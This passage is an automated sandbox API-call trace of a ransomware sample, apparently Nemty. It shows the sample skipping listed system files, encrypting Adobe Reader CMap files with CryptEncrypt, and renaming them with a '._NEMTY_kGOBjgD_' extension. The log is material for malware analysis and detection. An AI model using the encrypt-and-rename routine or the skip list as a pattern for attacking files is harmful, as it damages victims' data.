lstrcmpiW (lpString1="UniCNS-UCS2-H", lpString2="bootmgr") returned 1 [0211.302] lstrcmpiW (lpString1="UniCNS-UCS2-H", lpString2="programdata") returned 1 [0211.302] lstrcmpiW (lpString1="UniCNS-UCS2-H", lpString2="appdata") returned 1 [0211.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.302] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UCS2-H", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0211.303] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UCS2-H", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniCNS-UCS2-H", lpUsedDefaultChar=0x0) returned 13 [0211.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0211.303] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UCS2-H", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0211.303] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UCS2-H", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniCNS-UCS2-H", lpUsedDefaultChar=0x0) returned 13 [0211.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0211.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.303] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UCS2-H", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0211.303] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UCS2-H", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniCNS-UCS2-H", lpUsedDefaultChar=0x0) returned 13 [0211.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.303] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UCS2-H", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0211.303] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UCS2-H", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniCNS-UCS2-H", lpUsedDefaultChar=0x0) returned 13 [0211.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0211.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0211.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0211.303] Sleep (dwMilliseconds=0x5) [0211.315] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x31976510, dwHighDateTime=0x1d561e8)) [0211.315] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x31976510, dwHighDateTime=0x1d561e8)) [0211.315] GetLastError () returned 0x5 [0211.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0211.316] GetLastError () returned 0x5 [0211.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0211.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0211.316] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0211.316] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0211.316] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0211.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0211.316] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="h/OZ+ZwsZsbycuPJvvl03pPtKjmNWllrGHVZ0J2Eix66ckujbsN0NatY+Q+/EYm5\r\nT8GBc6zWXeMHfbET/tFq55CgxPVo3qQ8pRT9GiwPoLapSmL4fF5fGoQTCpQ1UDcb\r\nn4z/BwACxTiEo1spIAY5OSEu6c5pfZg7r6kAmzGlokDCqVnFfARD54cp4tXy3UgS\r\nE85ZCE+749QHFZkE84A7OWZLe88j4nPBP/U6kW4I7JYpA/3K1Kr7TN4i6x88KWqL\r\nEeGQp90PxslRdGwVUiPPyfvfJAv7iIqC01R6cVR4CjSVYqYINT2lKRDU0CZFzTYa\r\nUaM7wpG1QrITDNY37WYaLQ==\r\n", pcchString=0x653e91c) returned 1 [0211.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0211.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0211.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0211.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0211.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0211.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0211.316] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-ucs2-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0211.316] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0211.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0211.316] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.316] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.326] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.326] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.336] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.336] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.345] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.345] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.354] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.354] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.354] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.354] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.364] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.364] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.373] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.373] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.383] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.383] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.392] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.392] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.402] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.402] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.411] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.411] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.417] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.417] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.423] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.423] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0211.424] CloseHandle (hObject=0xffffffff) returned 0 [0211.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0211.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0211.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0211.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0211.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0211.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0211.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0211.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0211.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0211.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0211.424] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-ucs2-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UCS2-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-ucs2-h._nemty_kgobjgd_")) returned 0 [0211.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0211.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0211.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0211.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0211.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0211.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0211.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0211.424] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniCNS-UCS2-V", cAlternateFileName="UNICNS~1")) returned 1 [0211.424] lstrcmpiW (lpString1="UniCNS-UCS2-V", lpString2=".") returned 1 [0211.424] lstrcmpiW (lpString1="UniCNS-UCS2-V", lpString2="..") returned 1 [0211.424] lstrcmpiW (lpString1="UniCNS-UCS2-V", lpString2="...") returned 1 [0211.424] lstrcmpiW (lpString1="UniCNS-UCS2-V", lpString2="windows") returned -1 [0211.424] lstrcmpiW (lpString1="UniCNS-UCS2-V", lpString2="$RECYCLE.BIN") returned 1 [0211.424] lstrcmpiW (lpString1="UniCNS-UCS2-V", lpString2="rsa") returned 1 [0211.425] lstrcmpiW (lpString1="UniCNS-UCS2-V", lpString2="NTDETECT.COM") returned 1 [0211.425] lstrcmpiW (lpString1="UniCNS-UCS2-V", lpString2="ntldr") returned 1 [0211.425] lstrcmpiW (lpString1="UniCNS-UCS2-V", lpString2="MSDOS.SYS") returned 1 [0211.425] lstrcmpiW (lpString1="UniCNS-UCS2-V", lpString2="IO.SYS") returned 1 [0211.425] lstrcmpiW (lpString1="UniCNS-UCS2-V", lpString2="boot.ini") returned 1 [0211.425] lstrcmpiW (lpString1="UniCNS-UCS2-V", lpString2="boot.ini") returned 1 [0211.425] lstrcmpiW (lpString1="UniCNS-UCS2-V", lpString2="AUTOEXEC.BAT") returned 1 [0211.425] lstrcmpiW (lpString1="UniCNS-UCS2-V", lpString2="ntuser.dat") returned 1 [0211.425] lstrcmpiW (lpString1="UniCNS-UCS2-V", lpString2="desktop.ini") returned 1 [0211.425] lstrcmpiW (lpString1="UniCNS-UCS2-V", lpString2="CONFIG.SYS") returned 1 [0211.425] lstrcmpiW (lpString1="UniCNS-UCS2-V", lpString2="RECYCLER") returned 1 [0211.425] lstrcmpiW (lpString1="UniCNS-UCS2-V", lpString2="BOOTSECT.BAK") returned 1 [0211.425] lstrcmpiW (lpString1="UniCNS-UCS2-V", lpString2="bootmgr") returned 1 [0211.425] lstrcmpiW (lpString1="UniCNS-UCS2-V", lpString2="programdata") returned 1 [0211.425] lstrcmpiW (lpString1="UniCNS-UCS2-V", lpString2="appdata") returned 1 [0211.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UCS2-V", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0211.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UCS2-V", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniCNS-UCS2-V", lpUsedDefaultChar=0x0) returned 13 [0211.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0211.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UCS2-V", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0211.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UCS2-V", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniCNS-UCS2-V", lpUsedDefaultChar=0x0) returned 13 [0211.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0211.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UCS2-V", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0211.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UCS2-V", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniCNS-UCS2-V", lpUsedDefaultChar=0x0) returned 13 [0211.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UCS2-V", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0211.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UCS2-V", cchWideChar=13, 